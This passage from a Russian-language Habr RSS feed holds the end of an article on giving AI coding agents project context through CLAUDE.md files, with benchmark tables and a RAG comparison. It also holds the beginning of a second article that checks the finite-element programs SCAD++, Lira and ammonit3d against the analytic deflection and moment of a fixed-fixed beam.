vpn-bot -f&#xA;- Конфиг WireGuard: /etc/wireguard/wg0.conf&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;~3-5KB. Агент читает его когда вы упоминаете проект — и сразу знает всю архитектуру.&lt;h4&gt;Level 1.5 (опционально): Graphify&lt;/h4&gt;&lt;p&gt;Для навигации &lt;strong&gt;внутри&lt;/strong&gt; кода — Graphify превращает кодовую базу в граф знаний. Вместо grep&amp;#39;а агент обращается к графу и знает какой именно файл нужен:&lt;pre&gt;&lt;code&gt;pip install graphifyy&#xA;cd ~/projects/auth&#xA;graphify claude install&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Это отдельный уровень между «архитектура проекта» и «читать исходники». Не обязателен, но для больших проектов экономит ещё 30-50% вызовов.&lt;h3&gt;Результаты: замеры&lt;/h3&gt;&lt;p&gt;Одни и те же вопросы, одна модель (Haiku — самая дешёвая), одна машина. С иерархией и без.&lt;h4&gt;Тест 1: «Какая архитектура у Проекта A?»&lt;/h4&gt;&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;&lt;th&gt;&lt;p align=left&gt;Слепой агент&lt;th&gt;&lt;p align=left&gt;С иерархией&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Tool calls&lt;td&gt;&lt;p align=left&gt;12&lt;td&gt;&lt;p align=left&gt;1&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Поведение&lt;td&gt;&lt;p align=left&gt;Grep → читает 4 файла → собирает ответ&lt;td&gt;&lt;p align=left&gt;Читает &lt;a href=http://CLAUDE.md rel=&#34;noopener noreferrer nofollow&#34;&gt;CLAUDE.md&lt;/a&gt; → отвечает&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Точность&lt;td&gt;&lt;p align=left&gt;Корректно&lt;td&gt;&lt;p align=left&gt;Корректно&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4&gt;Тест 2: «Какие из моих проектов используют библиотеку X?»&lt;/h4&gt;&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;&lt;th&gt;&lt;p align=left&gt;Слепой агент&lt;th&gt;&lt;p align=left&gt;С иерархией&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Tool calls&lt;td&gt;&lt;p align=left&gt;44&lt;td&gt;&lt;p align=left&gt;2&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Поведение&lt;td&gt;&lt;p align=left&gt;Сканирует весь диск&lt;td&gt;&lt;p align=left&gt;Целевой grep в известных путях&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Точность&lt;td&gt;&lt;p align=left&gt;&lt;strong&gt;Пропустил 1 из 3 проектов&lt;/strong&gt;&lt;td&gt;&lt;p align=left&gt;Нашёл все 3&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4&gt;Тест 3: «Где задеплоен Проект B? Имя сервиса? Логи?»&lt;/h4&gt;&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;&lt;th&gt;&lt;p align=left&gt;Слепой агент&lt;th&gt;&lt;p align=left&gt;С иерархией&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Tool calls&lt;td&gt;&lt;p align=left&gt;9&lt;td&gt;&lt;p align=left&gt;0&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Поведение&lt;td&gt;&lt;p align=left&gt;Читает конфиги + SSH на сервер&lt;td&gt;&lt;p align=left&gt;Ответил из контекста&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;SSH нужен&lt;td&gt;&lt;p align=left&gt;Да&lt;td&gt;&lt;p align=left&gt;Нет&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Второй тест — самый показательный. Слепой агент не просто потратил в 22 раза больше вызовов — он &lt;strong&gt;дал неправильный ответ&lt;/strong&gt;, пропустив один проект. Больше контекста → более точные ответы, а не только дешевле.&lt;h3&gt;Почему три файла работают лучше чем RAG&lt;/h3&gt;&lt;p&gt;На первый взгляд это выглядит примитивно. Три markdown-файла против полноценного embedding-пайплайна с векторной базой? Но именно в простоте — сила:&lt;p&gt;&lt;strong&gt;Нулевая задержка.&lt;/strong&gt; &lt;a href=http://CLAUDE.md rel=&#34;noopener noreferrer nofollow&#34;&gt;CLAUDE.md&lt;/a&gt; читается мгновенно — это файл на диске. RAG добавляет 200-500мс на каждый запрос к индексу.&lt;p&gt;&lt;strong&gt;Детерминированность.&lt;/strong&gt; Вы знаете что агент прочитает. С RAG вы надеетесь что ре-ранкер выбрал правильные чанки. С иерархией — вы сами написали что важно.&lt;p&gt;&lt;strong&gt;Обновление в реальном времени.&lt;/strong&gt; Поменяли деплой-конфиг? Обновили одну строку в &lt;a href=http://CLAUDE.md rel=&#34;noopener noreferrer nofollow&#34;&gt;CLAUDE.md&lt;/a&gt;. С RAG нужно переиндексировать.&lt;p&gt;&lt;strong&gt;Работает с любым агентом.&lt;/strong&gt; Claude Code, Cursor, Codex, Gemini CLI — все умеют читать markdown. Не все поддерживают ваш конкретный RAG-сервер.&lt;p&gt;&lt;strong&gt;Масштабирование — файл на проект.&lt;/strong&gt; 15 проектов = 15 &lt;a href=http://CLAUDE.md rel=&#34;noopener noreferrer nofollow&#34;&gt;CLAUDE.md&lt;/a&gt; по 5KB = 75KB суммарно. Карта проектов — 2KB. Итого 77KB структурированного контекста вместо 500KB-1MB сырых файлов.&lt;p&gt;Это не значит что RAG бесполезен. Для семантического поиска по документации, для работы с большими кодовыми базами, для ответов на вопросы типа «найди все места где мы обрабатываем ошибки оплаты» — RAG отлично работает. Но для навигации между проектами и быстрого ответа на вопрос «где что лежит» — markdown-иерархия быстрее, дешевле и надёжнее.&lt;h3&gt;Бонус: индексация разговоров&lt;/h3&gt;&lt;p&gt;Отдельная проблема: прошлые разговоры с AI содержат архитектурные решения, результаты дебага, заметки о деплое. Но агент не может их искать — каждая сессия начинается с чистого листа.&lt;p&gt;Я написал парсеры, которые конвертируют логи сессий Claude Code (&lt;code&gt;.jsonl&lt;/code&gt;) и экспортированные чаты Claude Desktop в markdown с YAML frontmatter:&lt;pre&gt;&lt;code&gt;---&#xA;title: &amp;#34;Починил webhook оплаты&amp;#34;&#xA;date: 2026-04-14&#xA;project: vpn-bot&#xA;topics: [&amp;#34;webhook&amp;#34;, &amp;#34;cryptocloud&amp;#34;, &amp;#34;cloudflare&amp;#34;]&#xA;files_touched: [&amp;#34;payments.py&amp;#34;, &amp;#34;webhook.py&amp;#34;]&#xA;---&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Проиндексировав их через Graphify, агент может найти «что мы решили про платёжный флоу на прошлой неделе» без повторных объяснений. По сути — персистентная память между сессиями, построенная на обычных файлах.&lt;h3&gt;Миллион токенов — не решение&lt;/h3&gt;&lt;p&gt;С выходом Opus 4.6 контекстное окно выросло до миллиона токенов. Может показаться что проблема навигации исчезла: просто загрузи всё, модель разберётся.&lt;p&gt;Но исследования показывают обратное. LLM хуже работают когда окружены нерелевантной информацией — это подтверждено множеством работ. Больше контекста — не просто дороже. Это может сделать модель &lt;strong&gt;хуже&lt;/strong&gt;. Явление известно как «lost in the middle»: модель лучше вспоминает информацию из начала и конца контекста, а середину теряет.&lt;p&gt;Иерархический контекст решает это элегантно: агент получает &lt;strong&gt;только нужные файлы, в правильном порядке, на правильном уровне детализации&lt;/strong&gt;. Не 500KB сырого кода — а 5KB архитектуры, и только потом конкретный файл если нужен.&lt;h3&gt;С чего начать (10 минут)&lt;/h3&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Напишите карту проектов в &lt;code&gt;~/.claude/&lt;/code&gt;&lt;a href=http://CLAUDE.md rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;CLAUDE.md&lt;/code&gt;&lt;/a&gt; (5 минут) — перечислите проекты, пути, серверы&lt;li&gt;&lt;p&gt;Добавьте &lt;a href=http://CLAUDE.md rel=&#34;noopener noreferrer nofollow&#34;&gt;CLAUDE.md&lt;/a&gt; в ваш основной проект (5 минут) — стек, ключевые файлы, деплой&lt;li&gt;&lt;p&gt;Задайте агенту вопрос о проекте в новой сессии&lt;li&gt;&lt;p&gt;Посмотрите как он отвечает без grep&amp;#39;а&lt;/ol&gt;&lt;p&gt;Никаких зависимостей, установок, конфигураций. Три markdown-файла, которые превращают слепого агента в того, кто знает куда смотреть.&lt;h3&gt;Полезные ссылки&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=https://github.com/safishamsi/graphify rel=&#34;noopener noreferrer nofollow&#34;&gt;Graphify&lt;/a&gt; — навигация по коду через граф знаний&lt;li&gt;&lt;p&gt;&lt;a href=https://code.claude.com/docs/en/memory rel=&#34;noopener noreferrer nofollow&#34;&gt;Документация Claude Code: Memory&lt;/a&gt; — как работают &lt;a href=http://CLAUDE.md rel=&#34;noopener noreferrer nofollow&#34;&gt;CLAUDE.md&lt;/a&gt; и auto-memory&lt;li&gt;&lt;p&gt;&lt;a href=https://code.claude.com/docs/en/best-practices rel=&#34;noopener noreferrer nofollow&#34;&gt;Документация Claude Code: Best Practices&lt;/a&gt; — рекомендации Anthropic&lt;li&gt;&lt;p&gt;&lt;a href=https://www.morphllm.com/context-engineering rel=&#34;noopener noreferrer nofollow&#34;&gt;Context Engineering (Morph)&lt;/a&gt; — обзор подходов к управлению контекстом&lt;li&gt;&lt;p&gt;&lt;a href=https://github.com/marjoballabani/hypergrep rel=&#34;noopener noreferrer nofollow&#34;&gt;Hypergrep&lt;/a&gt; — tree-sitter + граф вызовов для навигации по коду&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>Creatman</author>
      <guid>https://habr.com/ru/articles/1024878/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024878</guid>
      <pubDate>Fri, 17 Apr 2026 21:06:00 +0000</pubDate>
    </item>
    <item>
      <title>Бенчмарк аналитикой SCAD++, Lira и ammonit3d. Тест на точность с одним конечным элементом</title>
      <link>https://habr.com/ru/articles/1024876/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1024876</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;h2&gt;Предыстория&lt;/h2&gt;&lt;p&gt;В предыдущей статье &lt;a href=https://habr.com/p/1022206/ rel=&#34;noopener noreferrer nofollow&#34;&gt;&amp;#34;Облако своими руками для расчета пространственных стержней методом конечных элементов на Node js, React js и Three js&amp;#34;&lt;/a&gt; представлен краткий обзор облачного SPA приложения &lt;a href=https://ammonit.xyz rel=&#34;noopener noreferrer nofollow&#34;&gt;ammonit3d&lt;/a&gt; по моделированию пространственных стержневых систем (ферм, балок, рамных и связевых конструкций, опор ЛЭП и т. д.) методом конечных элементов с численно-аналитическим решением для каждого конечного элемента, в основе которого математическая модель Эйлера-Бернулли - механическая модель упругой балки или стержня длиной L с заданной изгибной жёсткостью EJ на которую действуют сосредоточенная сила F или момент M, а также распределённая сила q(x) или момент m(x) по длине стержня, продольная ось которого x1, вертикальная x2 проходит через начало стержня и x3 направлена на нас из точки пересечения x1, x2. Полагая сечения плоскими до и после изгиба при одноосном деформированном состоянии в рамках краевой задачи линейной теории упругости, уравнение упругой оси стержня можно представить в виде обыкновенного неоднородного дифференциального уравнения 4-го порядка:&lt;/p&gt;&lt;img class=formula source=&#34;EJ_3 \dfrac{d^4v}{dx^4} = q(x) - \dfrac{dm}{dx}, \quad q(x) = kx + q_0, \quad m(x) = rx + m_0,\quad x\in[0,L],&#34; alt=&#34;EJ_3 \dfrac{d^4v}{dx^4} = q(x) - \dfrac{dm}{dx}, \quad q(x) = kx + q_0, \quad m(x) = rx + m_0,\quad x\in[0,L],&#34; src=https://habrastorage.org/getpro/habr/formulas/a/a0/a04/a04374f46d8018f2743c76c6650c6b93.svg width=576 height=40 data-width=72.352 data-height=5.105 data-vertical-align=-1.987 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/a/a0/a04/a04374f46d8018f2743c76c6650c6b93.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/a/a0/a04/a04374f46d8018f2743c76c6650c6b93.svg 781w&#34; loading=lazy decode=async&gt;&lt;p&gt;общее решение которого состоит из частного решения правой части (первые два слагаемых) и решения однородного дифференциального уравнения:&lt;/p&gt;&lt;img class=formula source=&#34;v(x)=\dfrac{kx^5}{120EJ_3}+\dfrac{(q_0-r)x^4}{24EJ_3}+a_4x^3+a_3x^2+a_2x+a_1.&#34; alt=&#34;v(x)=\dfrac{kx^5}{120EJ_3}+\dfrac{(q_0-r)x^4}{24EJ_3}+a_4x^3+a_3x^2+a_2x+a_1.&#34; src=https://habrastorage.org/getpro/habr/formulas/8/8a/8a0/8a03fb00b1d6cbfa25fd1769724d46f9.svg width=440 height=40 data-width=55.403 data-height=5.437 data-vertical-align=-2.153 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/8/8a/8a0/8a03fb00b1d6cbfa25fd1769724d46f9.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/8/8a/8a0/8a03fb00b1d6cbfa25fd1769724d46f9.svg 781w&#34; loading=lazy decode=async&gt;&lt;p&gt;Если записать граничные условия&lt;/p&gt;&lt;img class=formula source=&#34;\begin{equation}\begin{cases}\begin{array} \, v(0)=v^1,\quad v,_1(0)=\varphi^1,\\v(L)=v^2, \quad v,_1(L)= \varphi^2,\end{array}\end{cases}\end{equation}&#34; alt=&#34;\begin{equation}\begin{cases}\begin{array} \, v(0)=v^1,\quad v,_1(0)=\varphi^1,\\v(L)=v^2, \quad v,_1(L)= \varphi^2,\end{array}\end{cases}\end{equation}&#34; src=https://habrastorage.org/getpro/habr/formulas/2/29/29d/29d08140411c7f496c01fad90e1e3fa3.svg width=208 height=40 data-width=26.971 data-height=5.81 data-vertical-align=-2.339 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/2/29/29d/29d08140411c7f496c01fad90e1e3fa3.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/2/29/29d/29d08140411c7f496c01fad90e1e3fa3.svg 781w&#34; loading=lazy decode=async&gt;&lt;p&gt;то неизвестные коэффициенты можно выразить через свёртку (сумму произведений) прогибов и поворотов на концах стержня с эрмитовыми полиномами &lt;img class=&#34;formula inline&#34; source=N_p^i alt=N_p^i src=https://habrastorage.org/getpro/habr/formulas/9/92/927/9274d94f06438144ed90b7da4a6ffec3.svg width=16 height=16 data-width=2.871 data-height=2.861 data-vertical-align=-0.869 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/9/92/927/9274d94f06438144ed90b7da4a6ffec3.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/9/92/927/9274d94f06438144ed90b7da4a6ffec3.svg 781w&#34; loading=lazy decode=async&gt;:&lt;/p&gt;&lt;img class=formula source=&#34;\begin{array} \, v(x) = \dfrac{k}{EJ_3}\left(\dfrac{x^5}{120}-\dfrac{x^3L^2}{40}+\dfrac{x^2L^2}{60}\right)+\dfrac{q_0-r}{EJ_3}\left(\dfrac{x^4}{24}-\dfrac{x^3L}{12}+\dfrac{x^2L^2}{24}\right)+N_p^i\alpha_i^p,\\N_p^1\alpha_1^p=\left(\dfrac{2x^3}{L^3}-\dfrac{3x^2}{L^2}+1\right)\,v^1 + \left(-\dfrac{2x^3}{L^3}+\dfrac{3x^2}{L^2}\right)\,v^2,\quad i=1,2, \quad p = 1,2,\\ N_p^2\alpha_2^p=\left(\dfrac{x^3}{L^2}-\dfrac{2x^2}{L}+x\right)\,\varphi^1 + \left(\dfrac{x^3}{L^2}-\dfrac{x^2}{L}\right)\,\varphi^2,\quad \alpha_1^p=v^p, \quad \alpha_2^p=\varphi^p. \end{array}&#34; alt=&#34;\begin{array} \, v(x) = \dfrac{k}{EJ_3}\left(\dfrac{x^5}{120}-\dfrac{x^3L^2}{40}+\dfrac{x^2L^2}{60}\right)+\dfrac{q_0-r}{EJ_3}\left(\dfrac{x^4}{24}-\dfrac{x^3L}{12}+\dfrac{x^2L^2}{24}\right)+N_p^i\alpha_i^p,\\N_p^1\alpha_1^p=\left(\dfrac{2x^3}{L^3}-\dfrac{3x^2}{L^2}+1\right)\,v^1 + \left(-\dfrac{2x^3}{L^3}+\dfrac{3x^2}{L^2}\right)\,v^2,\quad i=1,2, \quad p = 1,2,\\ N_p^2\alpha_2^p=\left(\dfrac{x^3}{L^2}-\dfrac{2x^2}{L}+x\right)\,\varphi^1 + \left(\dfrac{x^3}{L^2}-\dfrac{x^2}{L}\right)\,\varphi^2,\quad \alpha_1^p=v^p, \quad \alpha_2^p=\varphi^p. \end{array}&#34; src=https://habrastorage.org/getpro/habr/formulas/6/6a/6ac/6acb62c482a64f8566be824731fbd4dd.svg width=624 height=144 data-width=78.011 data-height=18.521 data-vertical-align=-8.695 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/6/6a/6ac/6acb62c482a64f8566be824731fbd4dd.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/6/6a/6ac/6acb62c482a64f8566be824731fbd4dd.svg 781w&#34; loading=lazy decode=async&gt;&lt;h2&gt;Сравнение результатов SCAD++, Lira и ammonit3d на одном конечном элементе с аналитикой&lt;/h2&gt;&lt;figure class=bordered&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/4fb/9e8/024/4fb9e8024208acac7bfc996f4514549d.png alt=&#34;Рис.1 Модель балки длиной =1 м, с жёстким защемлением концов и сечением 25х25мм из стали E=2.06e+11, =0.3.&#34; title=&#34;Рис.1 Модель балки длиной =1 м, с жёстким защемлением концов и сечением 25х25мм из стали E=2.06e+11, =0.3.&#34; width=387 height=157 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/4fb/9e8/024/4fb9e8024208acac7bfc996f4514549d.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/4fb/9e8/024/4fb9e8024208acac7bfc996f4514549d.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Рис.1 Модель балки длиной &lt;img class=&#34;formula inline&#34; source=L alt=L src=https://habrastorage.org/getpro/habr/formulas/d/d2/d20/d20caec3b48a1eef164cb4ca81ba2587.svg width=12 height=12 data-width=1.541 data-height=1.545 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/d/d2/d20/d20caec3b48a1eef164cb4ca81ba2587.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/d/d2/d20/d20caec3b48a1eef164cb4ca81ba2587.svg 781w&#34; loading=lazy decode=async&gt;=1 м, с жёстким защемлением концов и сечением 25х25мм из стали E=2.06e+11, &lt;img class=&#34;formula inline&#34; source=\nu alt=\nu src=https://habrastorage.org/getpro/habr/formulas/4/4f/4fd/4fdefba26320686bb2bd0579a0df421c.svg width=12 height=16 data-width=1.199 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/4/4f/4fd/4fdefba26320686bb2bd0579a0df421c.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/4/4f/4fd/4fdefba26320686bb2bd0579a0df421c.svg 781w&#34; loading=lazy decode=async&gt;=0.3.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div class=floating-image&gt;&lt;p&gt;Рассмотрим модель балки длиной L=1 м с жёстким защемлением концов. Сечение балки — квадрат 25×25 мм из стали с модулем Юнга E = 2.06e+11 Па и коэффициентом Пуассона 0.3. По всей длине на балку сверху действует статическая равномерно распределённая нагрузка 3 кН/м, см. Рис 1. В этом случае из общего решения обыкновенного неоднородного дифференциального уравнения 4-го порядка (см. выше) можно выписать аналитические выражения для функции прогиба &lt;img class=&#34;formula inline&#34; source=v(x) alt=v(x) src=https://habrastorage.org/getpro/habr/formulas/6/66/666/6668cae114cc8d4dc991ac6152f99da5.svg width=32 height=16 data-width=4.152 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/6/66/666/6668cae114cc8d4dc991ac6152f99da5.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/6/66/666/6668cae114cc8d4dc991ac6152f99da5.svg 781w&#34; loading=lazy decode=async&gt; и изгибающего момента &lt;img class=&#34;formula inline&#34; source=M(x) alt=M(x) src=https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg width=40 height=16 data-width=5.432 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg 781w&#34; loading=lazy decode=async&gt;:&lt;/div&gt;&lt;img class=formula source=&#34;v(x) = \dfrac{q_0}{EJ}\left(\dfrac{x^4}{24}-\dfrac{x^3L}{12}+\dfrac{x^2L^2}{24}\right), \quad M(x) = -EJ\dfrac{d^2v}{dx^2} = -q_0\left(\dfrac{x^2}{2}-\dfrac{xL}{2}+\dfrac{L^2}{12}\right).&#34; alt=&#34;v(x) = \dfrac{q_0}{EJ}\left(\dfrac{x^4}{24}-\dfrac{x^3L}{12}+\dfrac{x^2L^2}{24}\right), \quad M(x) = -EJ\dfrac{d^2v}{dx^2} = -q_0\left(\dfrac{x^2}{2}-\dfrac{xL}{2}+\dfrac{L^2}{12}\right).&#34; src=https://habrastorage.org/getpro/habr/formulas/c/c9/c9f/c9f40f2123f6c0bf85dd536680dde97c.svg width=656 height=40 data-width=82.453 data-height=5.582 data-vertical-align=-2.225 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/c/c9/c9f/c9f40f2123f6c0bf85dd536680dde97c.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/c/c9/c9f/c9f40f2123f6c0bf85dd536680dde97c.svg 781w&#34; loading=lazy decode=async&gt;&lt;p&gt;Используя эти соотношения можно построить графики функций прогиба v(x) и момента M(x) по длине балки, см. Рис. 2.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/215/c9b/4b4/215c9b4b47dc497e3d36522200c701c4.png alt=&#34;Рис. 2. Зависимости функции прогиба и момента  по длине балки.&#34; title=&#34;Рис. 2. Зависимости функции прогиба и момента  по длине балки.&#34; width=650 height=210 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/215/c9b/4b4/215c9b4b47dc497e3d36522200c701c4.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/215/c9b/4b4/215c9b4b47dc497e3d36522200c701c4.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Рис. 2. Зависимости функции прогиба&lt;img class=&#34;formula inline&#34; source=v(x) alt=v(x) src=https://habrastorage.org/getpro/habr/formulas/f/f8/f8b/f8b90dc050617cad43ed89ed56f28bed.svg width=32 height=16 data-width=4.152 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/f/f8/f8b/f8b90dc050617cad43ed89ed56f28bed.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/f/f8/f8b/f8b90dc050617cad43ed89ed56f28bed.svg 781w&#34; loading=lazy decode=async&gt; и момента &lt;img class=&#34;formula inline&#34; source=M(x) alt=M(x) src=https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg width=40 height=16 data-width=5.432 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg 781w&#34; loading=lazy decode=async&gt; по длине балки.&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Из аналитических выражений и графиков, представленных на Рис. 2, видно, что наибольший прогиб &lt;img class=&#34;formula inline&#34; source=v(0.5) alt=v(0.5) src=https://habrastorage.org/getpro/habr/formulas/c/c3/c35/c3538be18790e73570627b5e7a1ee73c.svg width=40 height=16 data-width=5.749 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/c/c3/c35/c3538be18790e73570627b5e7a1ee73c.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/c/c3/c35/c3538be18790e73570627b5e7a1ee73c.svg 781w&#34; loading=lazy decode=async&gt; = -1.165e-3 м, достигается в середине балки. Наибольший изгибающий момент достигается на концах балки &lt;img class=&#34;formula inline&#34; source=&#34;М(0) = М(1)&#34; alt=&#34;М(0) = М(1)&#34; src=https://habrastorage.org/getpro/habr/formulas/9/9f/9fc/9fc54b7653164e125a9a3797961a6cee.svg width=88 height=16 data-width=11.515 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/9/9f/9fc/9fc54b7653164e125a9a3797961a6cee.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/9/9f/9fc/9fc54b7653164e125a9a3797961a6cee.svg 781w&#34; loading=lazy decode=async&gt; = -250Нм. В середине балки момент равен &lt;img class=&#34;formula inline&#34; source=М(0.5) alt=М(0.5) src=https://habrastorage.org/getpro/habr/formulas/b/b2/b2d/b2d243d654ddac2df347cffb010a1093.svg width=48 height=16 data-width=6.009 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/b/b2/b2d/b2d243d654ddac2df347cffb010a1093.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/b/b2/b2d/b2d243d654ddac2df347cffb010a1093.svg 781w&#34; loading=lazy decode=async&gt; = 125Нм. На Рис. 3, 4 представлены графики прогиба и момента по длине балки, найденный в программе SCAD++, Lira и &lt;a href=&#34;https://ammonit.xyz/?mid=784fca55-5ebb-4e8b-a321-2b6fb2d33e3d&#34; rel=&#34;noopener noreferrer nofollow&#34;&gt;ammonit3d&lt;/a&gt;, соответственно.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/11c/c25/0bf/11cc250bf14b33a448dd88bdbd47ec0a.png alt=&#34;Рис. 3 Графики прогиба  и момента  по длине балки, полученные в программе SCAD++&#34; title=&#34;Рис. 3 Графики прогиба  и момента  по длине балки, полученные в программе SCAD++&#34; width=1200 height=365 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/11c/c25/0bf/11cc250bf14b33a448dd88bdbd47ec0a.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/11c/c25/0bf/11cc250bf14b33a448dd88bdbd47ec0a.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Рис. 3 Графики прогиба &lt;img class=&#34;formula inline&#34; source=v(x) alt=v(x) src=https://habrastorage.org/getpro/habr/formulas/6/66/666/6668cae114cc8d4dc991ac6152f99da5.svg width=32 height=16 data-width=4.152 data-height=2.262 data-vertical-align=-0.566 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/formulas/6/66/666/6668cae114cc8d4dc991ac6152f99da5.svg 780w,&#xA;       https://habrastorage.org/getpro/habr/formulas/6/66/666/6668cae114cc8d4dc991ac6152f99da5.svg 781w&#34; loading=lazy decode=async&gt; и момента &lt;img class=&#34;formula inline&#34; source=M(x) alt=M(x) src=https://habrastorage.org/getpro/habr/formulas/e/ee/ee0/ee0295d66460adab8de72f343ba13550.svg width=40 height=16 